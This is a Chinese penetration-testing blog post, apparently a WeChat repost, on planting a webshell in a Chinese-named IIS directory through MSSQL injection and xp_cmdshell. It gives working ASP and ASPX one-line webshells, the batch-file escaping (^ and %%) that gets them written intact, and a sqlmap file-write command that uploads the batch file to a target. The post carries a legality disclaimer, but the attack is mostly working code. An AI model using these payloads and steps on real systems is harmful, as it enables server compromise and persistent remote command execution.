前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >MSSQL利用批处理写马至中文路径

MSSQL利用批处理写马至中文路径

作者头像
潇湘信安
发布2021-11-05 16:37:03
发布2021-11-05 16:37:03
1.2K00
代码可运行
举报
文章被收录于专栏:潇湘信安潇湘信安
运行总次数:0
代码可运行

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

上周在先知社区看到@Xgstar师傅写的《SQLserver写Webshell总结-突破中文路径》文章中提到一个利用批处理写Webshell至中文路径的思路,但最后他并没有成功利用这个思路写入Webshell。

因为之前也写过这类场景的利用思路,所以就想对他提到的这个思路以及遇到的问题简单测试下,关于更多写Webshell至中文路径的思路可参考我之前写的《MSSQL高权限注入写马至中文路径》。

0x02 通过批处理文件写马

按照他的思路我们先在本地创建一个用于写一句话木马的批处理文件,不过得将该文件编码改为ANSI或GB2312(默认UTF-8),因为xp_cmdshell调用的cmd.exe命令终端的编码是GBK。

代码语言:javascript
代码运行次数:0
复制
写ASP一句话:
echo ^<%eval request("xxxasec")%^> >C:\inetpub\wwwroot\中文测试\shell.asp

写ASPX一句话:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx

接着再利用sqlmap --file-write、--file-dest参数或者Windows自带的certutil等程序将这个写马批处理文件落地到目标磁盘中,再用type看下文件中的中文字符是否还会出现乱码?

代码语言:javascript
代码运行次数:0
复制
sqlmap -u "http://192.168.56.102/sql.aspx?id=1" --batch --file-write /tmp/shell.bat -file-dest C:\\ProgramData\\shell.bat

上图中可以看到已经没有乱码了,但是在执行这个批处理文件写马时又出现了一点问题。

一句话木马文件是已经写进去了,但是已经不成样了,如下图,为什么会这样呢?我们继续往下看!

作者说是%与批处理不兼容的问题,其实就是一句话木马中的%......%被批处理当作行间注释了,不能出现>重定向符号和|管道符号,这时我们可以用两个%百分号来解决这个问题。

代码语言:javascript
代码运行次数:0
复制
写ASP一句话:
echo ^<%%eval request("xxxasec")%%^> >C:\inetpub\wwwroot\中文测试\shell.asp

写ASPX一句话:
echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文测试\shell.aspx

将以上进行转义过的写一句话木马的批处理文件再次通过sqlmap --file-write、--file-dest的方式上传至目标磁盘中并执行。

这时可以看到已经成功将一句话木马写入至中文路径了。

0x03 需要注意的几个地方

  1. 命令行写Webshell时得在<>尖括号前用^转义:^<^>
  2. 批处理写Webshell时得在%百分号前用%转义:%%1%%2
  3. sqlmap --file-write、--file-dest写入文件时路径得用\\双斜杠;
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档